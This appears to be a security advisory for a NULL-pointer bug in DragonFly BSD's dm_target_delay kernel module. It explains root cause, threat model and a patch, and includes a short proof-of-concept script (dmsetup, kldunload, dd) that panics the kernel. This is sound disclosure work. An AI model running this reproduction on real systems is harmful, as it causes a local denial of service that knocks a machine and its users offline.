• File: sys/dev/disk/dm/delay/dm_target_delay.c
• Lines: 440–445 (MOD_UNLOAD), 403–410 (_objcache_destroy), 245 (objcache_get)
• Severity: Medium
• CVSS 3.1: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
• CWE: CWE-754 Improper Check for Unusual or Exceptional Conditions, CWE-476 NULL Pointer Dereference
• Confidence: certain
• Status: new

Summary

In dmtd_mod_handler's MOD_UNLOAD case, _objcache_destroy() is called unconditionally — outside the if (err == 0) block. When dm_target_remove("delay") returns EBUSY (because there is at least one active delay target, per dm_target.c:181-184), the linker aborts the unload on err != 0 and the module stays loaded with delay devices still active — but obj_cache has already been set to NULL by _objcache_destroy.

The very next bio to any still-active delay target calls _strategy → objcache_get(NULL, M_WAITOK) (line 245), which dereferences NULL at kern_objcache.c:429 (oc->cache_percpu[mycpuid]), panicking the kernel.

Root cause

sys/dev/disk/dm/delay/dm_target_delay.c:440-445:

case MOD_UNLOAD:
    err = dm_target_remove("delay");
    if (err == 0)
        kprintf("dm_target_delay: unloaded\n");
    _objcache_destroy();   /* runs even when err == EBUSY */
    break;

_objcache_destroy (lines 403–410) sets the static obj_cache = NULL.

dm_target_remove returns EBUSY whenever any table entry has busy'd the target (ref_cnt > 0). On DragonFly the linker refuses to finalize the unload when the MOD_UNLOAD handler returns non-zero, so the module remains registered and delay devices keep fielding bios through dm_target_delay_strategy → _strategy → objcache_get(obj_cache, M_WAITOK) at line 245.

objcache_get at kern_objcache.c:427-429 immediately dereferences oc (oc->cache_percpu[mycpuid]) with oc == NULL, so the next bio is a NULL-deref page fault in kernel mode → panic.

Threat model

Attacker position: any principal that can run kldunload dm_target_delay (root only) for the setup, and then any principal with read/write access to a delay dm device for the crash.

On a multi-tenant box where root attempted an ill-timed unload (or where a half-privileged operator script attempts the unload), every unprivileged user touching the delay device (mounted filesystem on top of it, raw read, etc.) becomes a panic trigger.

Impact: reliable, repeatable kernel panic — a local DoS that persists across the failed-unload boundary until reboot. No elevation; pure availability impact. The trigger is one failed kldunload followed by one bio to any delay target.

Proof of concept

Setup (root): create an active delay device so dm_target_remove will return EBUSY, then attempt the unload

The unload fails, but obj_cache is now NULL:

#!/bin/sh
# poc_df_1965_setup.sh — run as root
set -e
REAL=/dev/ad0
SEC=$(diskinfo -v "$REAL" | awk '/# of sectors/ {print $1}')
dmsetup create still-alive --table "0 $SEC delay $REAL 0 50"
# Now there is an active delay device, so dm_target_remove("delay") will fail EBUSY.
kldunload dm_target_delay || true   # prints "can't unload ...: Device busy"
# obj_cache is now NULL even though the module is still loaded.

Crash (unprivileged, if a non-root user has been granted access to /dev/mapper/still-alive; otherwise root)

dd if=/dev/mapper/still-alive of=/dev/null bs=512 count=1

Success criterion: immediate kernel panic with a backtrace through objcache_get → _strategy → dm_target_delay_strategy → dmstrategy. The decisive frame is objcache_get+0x…: mov …(%rax) with rax=0.

A stress variant that crashes from userspace without any further privilege: open the delay device read-only (any user the device ACL permits) and issue a single 512-byte read.

Recommended fix

Gate _objcache_destroy on a successful remove, mirroring the symmetry with MOD_LOAD where _objcache_create() runs only after dm_target_alloc/insert setup is well underway.

--- a/sys/dev/disk/dm/delay/dm_target_delay.c
+++ b/sys/dev/disk/dm/delay/dm_target_delay.c
@@ -439,8 +439,9 @@ dmtd_mod_handler(module_t mod, int type, void *unused)

    case MOD_UNLOAD:
        err = dm_target_remove("delay");
-       if (err == 0)
+       if (err == 0) {
            kprintf("dm_target_delay: unloaded\n");
-       _objcache_destroy();
+           _objcache_destroy();
+       }
        break;

This keeps obj_cache alive exactly as long as the target is still registered and may receive bios.

References

• sys/dev/disk/dm/delay/dm_target_delay.c:440-445 — the buggy MOD_UNLOAD block
• sys/dev/disk/dm/delay/dm_target_delay.c:403-410 — _objcache_destroy sets obj_cache = NULL
• sys/dev/disk/dm/delay/dm_target_delay.c:245 — objcache_get(obj_cache, …) deref on next bio
• sys/kern/kern_objcache.c:427-429 — objcache_get derefs oc with no NULL check
• sys/dev/disk/dm/dm_target.c:181-184 — dm_target_remove returns EBUSY when ref_cnt > 0